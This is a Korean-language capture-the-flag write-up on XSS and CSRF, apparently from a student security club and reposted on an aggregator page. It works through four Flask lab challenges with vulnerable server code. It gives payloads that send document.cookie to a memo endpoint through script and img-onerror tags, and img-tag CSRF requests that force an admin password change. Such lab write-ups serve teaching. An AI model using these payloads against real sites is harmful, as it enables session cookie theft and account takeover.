Loading the catalog…
Loading the catalog…
문제 1. XSS-1 서버 코드 핵심 @app.route("/vuln") def vuln(): param = request.args.get("param", "") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text) 취약점 분석 /flag에서 스크립트가 막혀있지 않아, HTML의 script 태그로 flag를 memo에 출력되도록 만들 수 있다. 공격 시나리오 flag창에 접속한다 <script>location='/memo?memo='+document.cookie</script> HTML코드로 document.cookie를 memo로 출력되도록 한다 핵심 포인트 /flag에서 스크립트 태그가 사용가능함을 알 수 있어, HTML로 document.cookie의 위치를 다른곳으로 출력 할 수 있도록 한다. 문제 2. CSRF-1 서버 코드 핵심 @app.route("/") def index(): return render_template("index.html") @app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") if not check_csrf(param): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", None) if text: memo_text += text return render_template("memo.html", memo=memo_text) @app.route("/admin/notice_flag") def admin_notice_flag(): global memo_text if request.remote_addr != "127.0.0.1": return "Access Denied" if request.args.get("userid", "") != "admin": return "Access Denied 2" memo_text += f"[Notice] flag is {FLAG}\n" return "Ok" 취약점 분석 frame, script, on 이 필터링되어있다. userid가 admin이라면 memo에 flag를 출력한다. 다른 태그로 userid를 바꿔 줄 수 있다. 공격 시나리오 /flag에 들어간다 img 태그로 userid를 admin으로 변경한다. 핵심 포인트 script 태그가 막혀있어 img 태그를 대신 사용하여 <img src="/admin/notice_flag?userid=admin">를 넣어 /admin/notice_flag의 userid를 admin으로 바꿔준다. 문제 3. XSS-2 — Stored XSS로 쿠키 탈취 서버 코드 핵심 @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text) 취약점 분석 /flag에 POST 요청을 보내면, 서버는 헤드리스 브라우저 봇을 띄워서 flag쿠키를 심어준 뒤 {내가 보낸 값}을 방문시킨다. /vuln 페이지는 param을 이스케이프 없이 그대로 HTML에 반영하기 때문에 XSS가 그대로 실행된다. /memo는 GET 파라미터로 받은 텍스트를 전역 변수에 계속 누적 저장하는 엔드포인트이다. 공격 시나리오 /flag의 param 입력창에 아래 payload 제출 <img src=x onerror="fetch('/memo?memo='+document.cookie)"> fetch()가 document.cookie(flag 포함)를 /memo로 전송 하여memo_text에 저장됨 브라우저에서 직접 /memo접속하여 저장된 flag 확인 핵심 포인트 필터링이 전혀 없는 순수 XSS였고, flag가 포함된 document.cookie를 memo에 저장하면 flag를 얻을 수 있다. 문제 4. CSRF-2 — 필터 우회 + 강제 비밀번호 변경 서버 코드 핵심 users = {'guest': 'guest', 'admin': FLAG} session_storage = {} @app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "POST": param = request.form.get("param", "") session_id = os.urandom(16).hex() session_storage[session_id] = 'admin' if not check_csrf(param, {"name":"sessionid", "value": session_id}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' @app.route("/change_password") def change_password(): pw = request.args.get("pw", "") session_id = request.cookies.get('sessionid', None) try: username = session_storage[session_id] except KeyError: return render_template('index.html', text='please login') users[username] = pw return 'Done' 취약점 분석 /change_password는 CSRF 방어가 전혀 없고, 로그인된 세션이면 누구든 자신의 비밀번호를 임의의 값으로 변경 가능했다. /vuln은 frame, script, on 문자열을 *로 치환하는 필터가 있지만, img태그로 우회가 가능하다 공격 시나리오 /flag의 param 입력창에 아래 payload 제출 <img src="/change_password?pw=iamthebestunifox"> 봇이 해당 쿠키를 들고 /vuln?param=... 방문 브라우저가 HTML로 렌더링하며 <img> 태그가 /change_password?pw=iamthebestunifox으로 요청함 /login에서 admin / iamthebestunifox으로 로그인 Hello admin, flag is {FLAG} 확인 핵심 포인트 script나 다른 태그들은 막혀있어도 img 태그로 우회하여 html을 실행시킬 수 있어, 봇이 html로 랜더링하여 실행시킬 수 있다. 두 문제의 공통 패턴 정리 구분 XSS-2 CSRF-2 취약점 유형 XSS CSRF (필터 우회) 필터링 없음 frame , script , on 치환 우회 방법 불필요 <img src="..."> 로 우회 탈취 대상 쿠키(flag 값) admin 비밀번호 변경 권한 유출 채널 same-origin /memo 저장소 없음 (직접 계정 탈취) 최종 목표 /memo 에서 쿠키 확인 admin 로그인 후 flag 직접 확인
What RADAR observed and classified to build this opportunity. It is what the source published, not a verification that the offer is still active.
[UNIFOX] 웹해킹 2차시 XSS와 CSRF. 문제 1. XSS-1 서버 코드 핵심 @app.route("/vuln") def vuln(): param = request.args.get("param", "") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '…
Open source